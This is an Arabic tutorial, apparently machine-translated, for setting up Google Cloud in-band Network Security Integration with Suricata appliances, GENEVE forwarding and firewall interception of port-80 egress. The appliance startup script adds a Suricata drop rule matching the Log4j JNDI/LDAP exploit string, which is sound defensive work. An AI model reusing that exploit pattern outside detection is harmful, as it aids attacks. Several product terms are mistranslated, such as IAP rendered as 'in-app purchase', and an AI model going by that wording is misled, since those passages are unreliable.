1. مقدمة
دمج أمان الشبكة
توفّر ميزة "دمج أمان الشبكة" (NSI) المرونة اللازمة لتحسين أمان شبكتك لأحمال العمل. يمكنك الاستفادة من جهاز مصمّم خصيصًا من مورِّد برامج مستقل (ISV) تابع لجهة خارجية، أو الاستفادة من محرّك فحص عميق للحزمة (DPI) لفحص الحمولة. للسماح بالتكامل السلس مع هذه الأجهزة التابعة لجهات خارجية، تسهّل Google Cloud عملية نشر الأجهزة بشكلٍ شفاف بدون أي تغييرات في الشبكة أو التوجيه.
تقدّم Google Cloud نوعَين من عمليات دمج Network Security: خارج النطاق وداخل النطاق. سيتضمّن هذا الدرس التطبيقي خطوات نشر ميزة "دمج أمان الشبكة" المضمّنة.
دمج أمان الشبكة داخل النطاق
توفّر ميزة "دمج أمان الشبكة" عملية دمج ضمن النطاق باستخدام تكنولوجيا اعتراض الحِزم التي تتيح لك وضع أجهزة شبكة تابعة لجهات خارجية في مسار حركة بيانات الشبكة لإجراء فحص شفاف لأحجام المعالجة في Google Cloud. تستخدم هذه العملية عملية التغليف العام لبروتوكول الشبكة الافتراضية (GENEVE) لنقل الحِزم بشكل آمن إلى الجهاز بدون تغيير عناوين IP الأصلية للمصدر والوجهة.
يوفّر الدمج داخل النطاق نهجًا يركّز على الخدمة لنشر واستخدام أجهزة الشبكة المضمّنة التابعة لجهات خارجية في وضع "الدمج المباشر". بصفتك منتج خدمة، يمكنك نشر مجموعة قابلة للتوسيع من أجهزة الشبكة التابعة لجهات خارجية كعملية نشر اعتراضية. بصفتك مستهلكًا للخدمة، يمكنك استخدام سياسات وقواعد Cloud Next Generation Firewall لإجراء اختيار دقيق للزيارات وإعادة توجيهها بشكل شفاف إلى نقطة اعتراض محلية لفحصها.

الشكل 1: بنية التوزيع العالية المستوى لخدمة الدمج داخل النطاق
لمزيد من المعلومات حول دمج أمان الشبكة (NSI) ضمن النطاق، يُرجى الاطّلاع على نظرة عامة حول الدمج ضمن النطاق.
In-band Service Producer
منتجو الخدمات هم الجهات التي يتم فيها نشر الأجهزة التابعة لجهات خارجية وإدارتها. يمكن أن يدير هذه العملية أحد الأشخاص في مؤسستك (فريق الأمان وما إلى ذلك) أو مورّد خارجي. يسجّل المنتجون أجهزتهم الافتراضية، التي يمكن أن تكون أجهزة تابعة لجهات خارجية، كخوادم خلفية لموازن تحميل شبكة المرور الداخلي في شبكة السحابة الإلكترونية الخاصة الافتراضية (VPC). تفحص هذه الأجهزة حركة بيانات الشبكة التي تتم إعادة توجيهها إليها. بعد ذلك، ينشئ مقدّمو الخدمة عمليات نشر اعتراضية، وهي مورد على مستوى المنطقة يشير إلى قاعدة إعادة التوجيه الخاصة بـ "موازنة الحمل على الشبكة الداخلية" من النوع "نقل البيانات المباشر".
عملية نشر الاعتراض هي مورد خاص بمنطقة معيّنة يمثّل خدمة الفحص التي يقدّمها المنتج لمنطقة معيّنة. ينشئ المنتجون عمليات نشر اعتراضية لكل منطقة نشروا فيها أجهزتهم الافتراضية.
مجموعة نشر اعتراض هي مورد عالمي على مستوى المشروع يتيح للمستهلكين الاتصال بخدمات الفحص الخاصة بالمنتج. ينشئ المنتجون مجموعة نشر اعتراضية لتجميع عمليات نشر اعتراضية متعددة على مستوى المنطقة. يستخدم المنتجون خدمة إدارة الهوية وإمكانية الوصول (IAM) للتحكّم في المستهلكين الذين يمكنهم الاتصال بمجموعة النشر.
لمزيد من المعلومات، يُرجى الاطّلاع على نظرة عامة على مجموعات نشر الإعلانات البينية ونظرة عامة على عمليات نشر الإعلانات البينية.
In-band Service Consumer
يستخدم مستهلكو الخدمات خدمات الفحص التي يقدّمها المنتجون. يحدّد المستهلكون شبكات VPC التي يريدون فحصها والجهة المنتجة التي يريدون الحصول على البيانات منها. لإجراء ذلك، ينشئ المستهلكون مجموعة نقاط نهاية اعتراض، وهي مورد عام يمثّل جانبهم من علاقة المنتج والمستهلك، ويربطون مجموعة نقاط نهاية الاعتراض بمجموعة نشر الاعتراض الخاصة بالمنتج.
لربط مجموعة نقاط نهاية الاعتراض بشبكات VPC التي يريدون فحص حركة البيانات منها، ينشئ المستهلكون عملية ربط مجموعة نقاط نهاية الاعتراض. لاختيار عدد الزيارات التي يجب إرسالها إلى المنتج لفحصها، ينشئ المستهلكون سياسات جدار حماية بين الشبكات ويستخدمونها. ينشئ المستهلكون مجموعة ملفات أمان شخصية تحتوي على ملف أمان شخصي يشير إلى مجموعة نقاط نهاية الاعتراض. بعد ذلك، ينشئ المستهلكون قاعدة جدار حماية لإعادة توجيه الزيارات التي تتطابق مع معايير معيّنة إلى أجهزة المنتج.
على الرغم من أنّ "مجموعة نقاط نهاية اعتراضية" (IEG) هي مورد على مستوى المشروع، ليس من الضروري أن تكون "مجموعة نقاط النهاية الاعتراضية" وربطها في المشروع نفسه. يمكن الإشارة إلى IEG من خلال ربط IEG من مشاريع أخرى داخل مؤسستك. وهي تمثّل جانب المستهلك في العلاقة بين المنتج والمستهلك. ينشئ المستهلكون مجموعة نقاط نهاية اعتراضية لاستخدام خدمة الفحص التي يقدّمها المنتج. ترتبط كل مجموعة نقاط نهاية اعتراض على جهة المستهلك بمجموعة نشر اعتراض واحدة على جهة المنتج.
لمزيد من المعلومات، يُرجى الاطّلاع على نظرة عامة على مجموعات نقاط النهاية وعمليات الربط التي يتم اعتراضها.
على المستهلكين إنشاء قاعدة سياسة جدار الحماية لإعادة توجيه الزيارات إلى مجموعة نقاط النهاية التي تعترضها. يمكن للمستهلكين تحديد معايير المطابقة ضمن قاعدة سياسة جدار الحماية، ما يتيح لهم تحديد حركة البيانات التي يجب أن تفحصها أجهزة المنتج.
ينشئ المستهلكون ملف أمان مخصّصًا للاعتراض لتحديد مجموعة نقاط نهاية الاعتراض التي يجب استخدامها لفحص الزيارات.
ينشئ المستهلكون مجموعة ملفات تعريف أمان لتحديد مجموعة من ميزات فحص الأمان التي يجب تطبيقها على مجموعة فرعية محدّدة من الزيارات. تحتوي مجموعة ملفات تعريف الأمان على ملف تعريف أمان مخصّص واحد للاعتراض.
ما ستنشئه

الشكل 2: بنية النشر العالية المستوى لهذا الدرس التطبيقي حول الترميز
لتبسيط هذا الدرس التطبيقي، ستستخدم مشروعًا واحدًا وتنشئ شبكتَي VPC، بالإضافة إلى إدارة عدد من موارد الشبكة والأمان. سيوضّح هذا التمرين العملي كيفية نشر عملية دمج خدمة الشبكة داخل النطاق مع جهاز تابع لجهة خارجية لإدراج الأمان بشكلٍ شفاف.
سيتم اختيار التدفقات التي سيتم فحصها باستخدام مَعلمات المطابقة في Cloud Firewall، بما في ذلك 5-tuple (عنوان IP المصدر، وعنوان IP الوجهة، والبروتوكول، ومنفذ المصدر، ومنفذ الوجهة). لتبسيط هذا المختبر، ستفحص كل حركة مرور EGRESS على منفذ TCP 80.
سيسمح المنتج بالدخول من عنوان IP لبوابة الشبكة الفرعية لشبكة VPC الخاصة بالمنتج (10.0.0.1/32) لحِزم UDP التي تحمل رقم المنفذ الوجهة 6081، وهو المنفذ المعروف لبروتوكول GENEVE.
ستكون الحالة النهائية لقاعدة بيانات قواعد سياسة جدار الحماية بين الشبكات مشابهة للجدول أدناه:
سياسة شبكة المنتجين:
الأولوية | الاتجاه | البروتوكول | Target | المصدر | الوجهة | منفذ الوجهة | الإجراء |
100 | حركة بيانات واردة | الكل | الكل | Health-Checks | أي | أي | السماح |
200 | حركة بيانات واردة | الكل | الكل | شراء داخل التطبيق | أي | أي | السماح |
300 | حركة بيانات واردة | UDP | الكل | 10.0.0.1/32 | أي | 6081 | السماح |
سياسة شبكة المستهلكين:
الأولوية | الاتجاه | البروتوكول | Target | المصدر | الوجهة | منفذ الوجهة | الإجراء |
200 | حركة بيانات واردة | TCP | الكل | شراء داخل التطبيق | أي | 22 | السماح |
800 | حركة بيانات صادرة | TCP | الكل | أي | أي | 80 | اعتراض |
ما ستتعلمه
- كيفية نشر عملية دمج أمان الشبكة ضمن النطاق
المتطلبات
- مؤسسة Google Cloud ومشروعها
- أذونات "إدارة الهوية وإمكانية الوصول" المناسبة
- معرفة كيفية نشر الآلات الافتراضية وضبط مكونات الشبكة
- معرفة إعدادات "جدار الحماية لسياسة الشبكة"
2. قبل البدء
أدوار وأذونات إدارة الهوية وإمكانية الوصول
لإكمال الدرس التطبيقي حول الترميز لعملية دمج أمان الشبكة (NSI) ضمن النطاق، ستحتاج إلى أدوار "إدارة الهوية وإمكانية الوصول" (IAM) التالية:
- مشرف شبكة Compute (
roles/compute.networkAdmin): مطلوب لإنشاء شبكات VPC والشبكات الفرعية وأجهزة توجيه Cloud وبوابات NAT وخدمات الخلفية لموازنة الحمل وإدارتها. - مشرف أمان Compute (
roles/compute.securityAdmin): ضروري لإنشاء سياسات وقواعد جدار حماية بين الشبكات العامة وتكوينها وربطها. - مشرف مثيل Compute (
roles/compute.instanceAdmin.v1): مطلوب لنشر أجهزة Suricata واختبار الأجهزة الافتراضية للمستهلكين والاتصال بها عبر بروتوكول SSH وحذفها في النهاية. - مشرف نشر الإعلانات الاعتراضية (
roles/networksecurity.interceptDeploymentAdmin): يستخدمه المنتج لإنشاء عمليات نشر الإعلانات الاعتراضية على مستوى المناطق وإدارتها، بالإضافة إلى مجموعة النشر على مستوى العالم. - Intercept Endpoint Admin (
roles/networksecurity.interceptEndpointAdmin): يستخدمها المستهلك لإنشاء مجموعات نقاط نهاية اعتراض وربطها بشبكة VPC. - مستخدم نشر اعتراض (
roles/networksecurity.interceptDeploymentUser): مطلوب في مشروع المنتج لمنح المستهلك إذن الاتصال بمجموعة نشر المنتج. - مشرف ملف الأمان (
roles/networksecurity.securityProfileAdmin): مطلوب على مستوى المؤسسة لإنشاء وإدارة ملفات أمان مخصّصة لعمليات الاعتراض ومجموعات ملفات الأمان. - مشرف استخدام الخدمة (
roles/serviceusage.serviceUsageAdmin): ضروري لتفعيل واجهتَي برمجة التطبيقاتnetworksecurity.googleapis.comوcompute.googleapis.comالمطلوبتَين لميزات "مؤشر جودة الشبكة". - مشاهد المشروع (
roles/viewer): مطلوب لاسترداد معلومات إعداد المشروع وتسلسل المؤسسة الهرمي لمتغيرات البيئة المستخدَمة في جميع أنحاء المختبر.
Google Cloud APIs
يُرجى التأكّد من تفعيل واجهات Google Cloud APIs المطلوبة في مشروعك.
فعِّل واجهات برمجة التطبيقات اللازمة، ونفِّذ أوامر gcloud التالية ضِمن Cloud Shell.
gcloud services enable compute.googleapis.com \ networksecurity.googleapis.com \ cloudresourcemanager.googleapis.com
إنشاء/تعديل المتغيّرات
يستخدِم هذا الدرس التطبيقي حول الترميز $variables للمساعدة في تنفيذ عملية الضبط gcloud في Cloud Shell.
في Cloud Shell، نفِّذ الأوامر أدناه مع استبدال المعلومات بين الأقواس حسب الحاجة:
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zonea=[first-zone from $region] export zoneb=[second-zone from $region] export zonec=[third-zone from $region]
3- إجراءات المنتِج
سيتناول هذا القسم عملية نشر المنتج. ويشمل ذلك نشر السحابة الإلكترونية الافتراضية الخاصة (VPC) وجهاز الشبكة الافتراضي التابع لجهة خارجية وجميع المكوّنات ذات الصلة بدمج أمان الشبكة.
مكوّنات شبكة VPC وCloud NAT
- أنشئ شبكة VPC وشبكة فرعية:
gcloud compute networks create producer-vpc --subnet-mode=custom gcloud compute networks subnets create producer-$region-subnet \ --range=10.0.0.0/24 --network=producer-vpc --region=$region
- احصل على عنوان IP لبوابة الشبكة الفرعية لاستخدامه في قاعدة جدار الحماية:
export gatewayip=$(gcloud compute networks subnets list --project=$project_id --network=producer-vpc --format=json | jq -r '.[0].gatewayAddress')
- أنشئ سياسة وقواعد جدار الحماية لشبكة VPC الخاصة بالمنتج. ستسمح قواعد جدار الحماية هذه بدخول الزيارات الواردة من عمليات التحقّق من الصحة وIAP وNSI:
gcloud compute network-firewall-policies create producer-fwpolicy \
--global
gcloud compute network-firewall-policies rules create 100 \
--description="allow http traffic from ilb health-check ranges" \
--action=allow \
--firewall-policy=producer-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80 \
--direction=INGRESS \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=producer-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--src-ip-ranges=35.235.240.0/20
gcloud compute network-firewall-policies rules create 300 \
--description="allow GENEVE UDP:6081 packets from gateway" \
--action=allow \
--firewall-policy=producer-fwpolicy \
--global-firewall-policy \
--layer4-configs=udp:6081 \
--direction=INGRESS \
--src-ip-ranges=$gatewayip
- ربط شبكة VPC الخاصة بالمنتج بسياسة "جدار الحماية" في الشبكة:
gcloud compute network-firewall-policies associations create \
--firewall-policy producer-fwpolicy \
--network producer-vpc \
--name producer-fwpolicy-association \
--global-firewall-policy
- نشر Cloud Router وCloud NAT لجهاز الشبكة الافتراضي (NVA) التابع لجهة خارجية من أجل تنزيل الحِزم والتحديثات المطلوبة:
gcloud compute addresses create producer-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$region-cloudnatip --format="value(address)") gcloud compute routers create producer-$region-cr \ --region=$region --network=producer-vpc gcloud compute routers nats create producer-cloudnat-$region \ --router=producer-$region-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=producer-$region-cloudnatip
الأجهزة الافتراضية التابعة لجهات خارجية
في هذا التمرين العملي، ستنفّذ Suricata، وهي خدمة مفتوحة المصدر لرصد التهديدات. يحتوي الأمر على نص برمجي لبدء التشغيل سيقوم بتثبيت Suricata وإعداده. تتوفّر أيضًا iptables التي تنفّذ ترجمة عنوان الشبكة المصدر (SNAT) وترجمة عنوان الشبكة الوجهة (DNAT) للتعامل مع حِزم GENEVE والاستجابة لها.
- نشِّر جهاز NVA تابعًا لجهة خارجية في منطقتك الأولى.
gcloud compute instances create suricata-$zonea \
--shielded-secure-boot \
--subnet=producer-$region-subnet \
--no-address \
--private-network-ip 10.0.0.3 \
--zone $zonea \
--metadata startup-script='#! /bin/bash
sudo sysctl -w net.ipv4.ip_forward=1
apt-get update
apt-get install nginx suricata tcpdump -y
sudo suricata-update
sudo systemctl stop suricata
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
sudo iptables -I FORWARD -j NFQUEUE
sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
sudo systemctl daemon-reload
sudo systemctl stop suricata
sleep 5
sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
sleep 10
'
- نشر شبكة NVA تابعة لجهة خارجية في منطقتك الثانية:
gcloud compute instances create suricata-$zoneb \
--shielded-secure-boot \
--subnet=producer-$region-subnet \
--no-address \
--private-network-ip 10.0.0.4 \
--zone $zoneb \
--metadata startup-script='#! /bin/bash
sudo sysctl -w net.ipv4.ip_forward=1
apt-get update
apt-get install nginx suricata tcpdump -y
sudo suricata-update
sudo systemctl stop suricata
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
sudo iptables -I FORWARD -j NFQUEUE
sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
sudo systemctl daemon-reload
sudo systemctl stop suricata
sleep 5
sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
sleep 10
'
مكوّنات موازن الحمل الخاص بالمنتج
- أنشئ عملية التحقق من الصحة العامة المستخدمة للتحقق من توفّر NVA التابعة لجهة خارجية:
gcloud compute health-checks create http nva-hc
- أنشئ مجموعة مثيلات غير مُدارة على مستوى المنطقة لكل منطقة:
gcloud compute instance-groups unmanaged create producer-$zonea-uig \ --zone $zonea gcloud compute instance-groups unmanaged create producer-$zoneb-uig \ --zone $zoneb
- أضِف مثيلاتك إلى مجموعات المثيلات:
gcloud compute instance-groups unmanaged add-instances producer-$zonea-uig --instances=suricata-$zonea --zone=$zonea gcloud compute instance-groups unmanaged add-instances producer-$zoneb-uig --instances=suricata-$zoneb --zone=$zoneb
تأكَّد من أنّ مجموعات المثيلات تحتوي على مثيلاتك باستخدام الأوامر التالية:
gcloud compute instance-groups unmanaged list-instances producer-$zonea-uig --zone=$zonea gcloud compute instance-groups unmanaged list-instances producer-$zoneb-uig --zone=$zoneb
مثال على الناتج:
NAME: suricata-$zonea STATUS: RUNNING NAME: suricata-$zoneb STATUS: RUNNING
- أنشئ خدمة خلفية داخلية لبروتوكول UDP:
gcloud compute backend-services create producer-bes \ --protocol=UDP \ --region=projects/$project_id/regions/$region \ --health-checks=projects/$project_id/global/healthChecks/nva-hc \ --load-balancing-scheme=INTERNAL
- أضِف كلتا مجموعتَي الأجهزة الافتراضية إلى خدمة الخلفية:
gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zonea/instanceGroups/producer-$zonea-uig --region=$region gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zoneb/instanceGroups/producer-$zoneb-uig --region=$region
- احجز عناوين IP داخلية لقواعد إعادة التوجيه. يتطلّب كل عملية نشر اعتراض قاعدة توجيه فريدة:
gcloud compute addresses create producer-fr-$zonea-ip \
--region $region --subnet producer-$region-subnet \
--addresses 10.0.0.11
gcloud compute addresses create producer-fr-$zoneb-ip \
--region $region --subnet producer-$region-subnet \
--addresses 10.0.0.12
- أنشئ قاعدة إعادة التوجيه لكل منطقة. هذا الإجراء مطلوب لأنّ عملية نشر الاعتراض تتطلّب قاعدة إعادة توجيه فريدة:
gcloud compute forwarding-rules create producer-fr-$zonea \ --ip-protocol=UDP --address=10.0.0.11 \ --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \ --ip-version=IPV4 \ --ports=6081 \ --load-balancing-scheme=INTERNAL \ --region=projects/$project_id/regions/$region \ --network=projects/$project_id/global/networks/producer-vpc \ --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet gcloud compute forwarding-rules create producer-fr-$zoneb \ --ip-protocol=UDP --address=10.0.0.12 \ --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \ --ip-version=IPV4 \ --ports=6081 \ --load-balancing-scheme=INTERNAL \ --region=projects/$project_id/regions/$region \ --network=projects/$project_id/global/networks/producer-vpc \ --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet
مكوّنات دمج أمان الشبكة
- أنشِئ مجموعة نشر إعلانات مقاطعة:
gcloud network-security intercept-deployment-groups create producer-nsi-deployment-group \
--location global \
--no-async \
--network producer-vpc
تأكَّد من إنشاء مجموعة النشر بنجاح:
gcloud network-security intercept-deployment-groups describe producer-nsi-deployment-group \
--location global
مثال على الناتج:
createTime: '2025-01-16T06:13:48.075183628Z' name: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group network: projects/$project_id/global/networks/producer-vpc reconciling: false state: ACTIVE updateTime: '2025-01-16T06:13:50.556947138Z'
- أنشئ عملية نشر لإعلان مقاطِع لكل منطقة:
gcloud network-security intercept-deployments create nsi-deployment-$zonea \
--location $zonea \
--forwarding-rule producer-fr-$zonea \
--forwarding-rule-location $region \
--no-async \
--intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
gcloud network-security intercept-deployments create nsi-deployment-$zoneb \
--location $zoneb \
--forwarding-rule producer-fr-$zoneb \
--forwarding-rule-location $region \
--no-async \
--intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
تأكَّد من إنشاء عمليات نشر الاعتراض بنجاح:
gcloud network-security intercept-deployments describe nsi-deployment-$zonea \
--location $zonea
gcloud network-security intercept-deployments describe nsi-deployment-$zoneb \
--location $zoneb
مثال على الناتج:
createTime: '2025-01-16T06:27:08.834875130Z' forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group name: projects/$project_id/locations/$zonea/interceptDeployments/nsi-deployment-$zonea reconciling: false state: ACTIVE updateTime: '2025-01-16T06:34:14.401072601Z' createTime: '2025-01-16T06:33:47.798469786Z' forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr-$zoneb interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group name: projects/$project_id/locations/us-west1-b/interceptDeployments/nsi-deployment-$zoneb reconciling: false state: ACTIVE updateTime: '2025-01-16T06:34:25.258447474Z'
تهانينا، لقد أكملت عملية إعداد حساب المنتج. بعد ذلك، عليك ضبط جهة المستهلك لاعتراض الزيارات وإرسالها بشكل شفاف إلى الأجهزة التابعة لجهات خارجية لفرض السياسات.
4. إجراءات المستهلكين
على الرغم من أنّ هذا المختبر يستخدم شبكات VPC منفصلة ضِمن مشروع واحد لتبسيط العملية، يمكن أن تتوفّر موارد المنتج والمستهلك في بيئات العالم الحقيقي في مشاريع مختلفة أو حتى في مؤسسات مختلفة.
مكوّنات شبكة VPC وCloud NAT
- أنشئ شبكة VPC وشبكة فرعية:
gcloud compute networks create consumer-vpc --subnet-mode=custom gcloud compute networks subnets create consumer-$region-subnet \ --range=192.168.0.0/24 --network=consumer-vpc --region=$region
- أنشئ Cloud Router وبوابة Cloud NAT:
gcloud compute addresses create consumer-$region-cloudnatip \
--region=$region
export cloudnatip=$(gcloud compute addresses list \
--filter=name:consumer-$region-cloudnatip \
--format="value(address)")
gcloud compute routers create consumer-$region-cr \
--region=$region \
--network=consumer-vpc
gcloud compute routers nats create consumer-cloudnat-$region \
--router=consumer-$region-cr --router-region $region \
--nat-all-subnet-ip-ranges \
--nat-external-ip-pool=consumer-$region-cloudnatip
اعتراض مجموعة نقاط النهاية وربطها
- إنشاء مجموعة نقاط نهاية اعتراض:
gcloud network-security intercept-endpoint-groups create nsi-endpoint-group \
--location global \
--no-async \
--intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
التحقّق من إنشاء نقطة النهاية بنجاح:
gcloud network-security intercept-endpoint-groups describe nsi-endpoint-group \
--location global
مثال على الناتج:
createTime: '2025-01-16T06:37:10.620185836Z' interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group name: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group reconciling: false state: ACTIVE updateTime: '2025-01-16T06:37:22.707994466Z'
- أنشئ ربطًا بين مجموعة نقاط نهاية الاعتراض وتحديد شبكة VPC الخاصة بالمستهلك:
gcloud network-security intercept-endpoint-group-associations create nsi-endpoint-group-assoc \
--location global \
--network consumer-vpc \
--no-async \
--intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
التحقّق من صحة:
gcloud network-security intercept-endpoint-group-associations describe nsi-endpoint-group-assoc \
--location global
مثال على الناتج:
createTime: '2025-01-16T06:40:21.125202733Z' interceptEndpointGroup: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group locations: - location: $zonea state: ACTIVE - location: $zoneb state: ACTIVE name: projects/$project_id/locations/global/interceptEndpointGroupAssociations/nsi-endpoint-group-assoc network: projects/$project_id/global/networks/consumer-vpc reconciling: false state: ACTIVE updateTime: '2025-01-16T06:40:56.085493855Z'
ملف الأمان ومجموعة ملفات الأمان
بعد ذلك، ستنشئ ملف أمان مخصّصًا للاعتراض وتربطه بمجموعة ملفات الأمان. يتم استخدام ملف الأمان ومجموعة ملفات الأمان لاعتراض الحِزم للأجهزة الخارجية.
- إنشاء ملف أمان مخصّص للاعتراض:
gcloud network-security security-profiles custom-intercept create nsi-intercept-profile \
--organization $org_id \
--location global \
--billing-project $project_id \
--intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
تأكَّد من إنشاء ملف الأمان بنجاح:
gcloud network-security security-profiles custom-intercept \ describe nsi-intercept-profile \ --organization=$org_id \ --location=global
مثال على الناتج:
{
"createTime": "2025-01-16T20:25:21.545756039Z",
"customInterceptProfile": {
"interceptEndpointGroup": "projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group"
},
"etag": "vBAcVRe70k70rNJ3stzuCAvp_JbiPD2IWqcHKKAGlzw",
"name": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile",
"type": "CUSTOM_INTERCEPT",
"updateTime": "2025-01-16T20:25:24.101764860Z"
}
- إنشاء مجموعة ملفات أمان:
gcloud network-security security-profile-groups create nsi-spg \ --custom-intercept-profile=nsi-intercept-profile \ --organization=$org_id \ --project=$project_id \ --location=global
تأكَّد من إنشاء مجموعة المنتجات الذكية بنجاح:
gcloud network-security security-profile-groups describe nsi-spg \
--organization $org_id \
--billing-project $project_id \
--location global
مثال على الناتج:
"createTime": "2025-01-16T20:31:23.545946850Z", "customInterceptProfile": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile", "etag": "bAE-90dCYvYfOKga4EfGXWRGuJXJpsiTEEgVsw3AmM0", "name": "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg", "updateTime": "2025-01-16T20:31:27.588870973Z"
سياسة جدار الحماية وقواعده وربطه
- إنشاء سياسة جدار حماية بين الشبكات العالمية:
gcloud compute network-firewall-policies create consumer-fwpolicy \
--global
- أنشئ قواعد جدار الحماية:
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh traffic from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=consumer-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--src-ip-ranges=35.235.240.0/20
- أنشئ قاعدة جدار الحماية لاعتراض جميع الزيارات الخارجة التي تستخدم NSI لإرسالها إلى جهاز تابع لجهة خارجية بشكل شفاف. سترسل هذه القاعدة جميع زيارات الخروج TCP:80 لإجراء الفحص.
gcloud compute network-firewall-policies rules create 800 \
--action APPLY_SECURITY_PROFILE_GROUP \
--firewall-policy consumer-fwpolicy \
--security-profile-group "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg" \
--direction EGRESS \
--layer4-configs tcp:80 \
--dest-ip-ranges 0.0.0.0/0 \
--global-firewall-policy
- ربط سياسة جدار الحماية على السحابة الإلكترونية بشبكة VPC:
gcloud compute network-firewall-policies associations create \
--firewall-policy consumer-fwpolicy \
--network consumer-vpc \
--name consumer-fwpolicy-association \
--global-firewall-policy
الأجهزة الافتراضية للمستهلكين
- نشر الأجهزة الافتراضية المستخدَمة للتحقّق من صحة NSI سيتم نشر 3 أجهزة افتراضية في 3 مناطق. تذكَّر أنّه تم تفعيل ميزة "الاستهداف حسب الموقع الجغرافي غير الدقيق" في منطقتَين فقط، بينما لم يتم تفعيلها في المنطقة $zonec.
gcloud compute instances create consumer-$zonea \ --shielded-secure-boot \ --subnet=consumer-$region-subnet \ --private-network-ip 192.168.0.3 \ --no-address \ --zone $zonea gcloud compute instances create consumer-$zoneb \ --shielded-secure-boot \ --subnet=consumer-$region-subnet \ --private-network-ip 192.168.0.4 \ --no-address \ --zone $zoneb gcloud compute instances create consumer-$zonec \ --shielded-secure-boot \ --subnet=consumer-$region-subnet \ --private-network-ip 192.168.0.5 \ --no-address \ --zone $zonec
اختبار ميزة "دمج أمان الشبكة" داخل النطاق
- افتح SSH في الجهاز الظاهري في $zonea (consumer-$zonea). إرسال عدد زيارات تجريبي:
gcloud compute ssh consumer-$zonea \ --zone $zonea
- أرسِل زيارات اختبارية إلى http://www.google.com:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2
الناتج المتوقّع:
200
